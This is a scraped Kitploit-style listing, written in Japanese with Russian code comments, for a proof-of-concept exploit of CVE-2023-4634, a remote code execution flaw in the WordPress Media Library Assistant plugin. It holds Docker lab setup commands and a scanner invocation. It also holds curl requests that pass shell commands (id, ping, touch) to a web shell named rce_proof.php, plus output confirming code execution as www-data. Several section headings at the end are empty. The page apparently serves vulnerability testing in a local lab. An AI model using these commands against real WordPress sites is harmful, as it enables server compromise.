CVE-2023-4634-PoC — CVE-2023-4634の概念実証エクスプロイト。WordPress Media Library Assistantプラグインのリモートコード実行脆弱性。Dockerベースの脆弱な環境と自動スキャナーが含まれています。 | Kitploit

CVE-2023-4634 - WordPressプラグインMedia Library AssistantのRCE脆弱性

1. 環境の構築と起動

cd Stand
docker-compose up --build -d

2. サービスの起動待機(60秒)

sleep 60
curl -I http://localhost:8080

3. 脆弱性スキャンの実行

cd ../PoC/src
python3 scanner.py http://localhost:8080

4. RCEの手動テスト

# Тест команды id
curl "http://localhost:8080/rce_proof.php?cmd=id"

# Тест команды ping
curl "http://localhost:8080/rce_proof.php?cmd=ping+-c+2+127.0.0.1"

# Создание файла-доказательства
curl "http://localhost:8080/rce_proof.php?cmd=touch+/tmp/rce_proof"

[*] Scanning: http://localhost:8080
[+] WordPress is accessible
[+] Plugin found: v3.09
[+] Plugin is VULNERABLE!
[*] Testing RCE...
[+] id command executed
[+] ping command executed
[+] file_check command executed
[+] RCE CONFIRMED!
[+] Results saved to ../result.txt

{
  "cve": "CVE-2023-4634",
  "target": "http://localhost:8080",
  "timestamp": "2025-12-21 13:49:19",
  "vulnerable": true,
  "findings": {
    "wordpress": true,
    "plugin_vulnerable": true,
    "rce_id": true,
    "rce_id_output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)",
    "rce_ping": true,
    "rce_file_check": true
  },
  "plugin_version": "3.09",
  "status": "VULNERABLE"
}

CVE-2023-4634-PoC

人気

✅ 期待される結果

scanner.pyの出力:

result.txtの内容:

🔧 技術仕様

ネットワーク:

要件:

📊 RCEの実証

🧹 クリーンアップ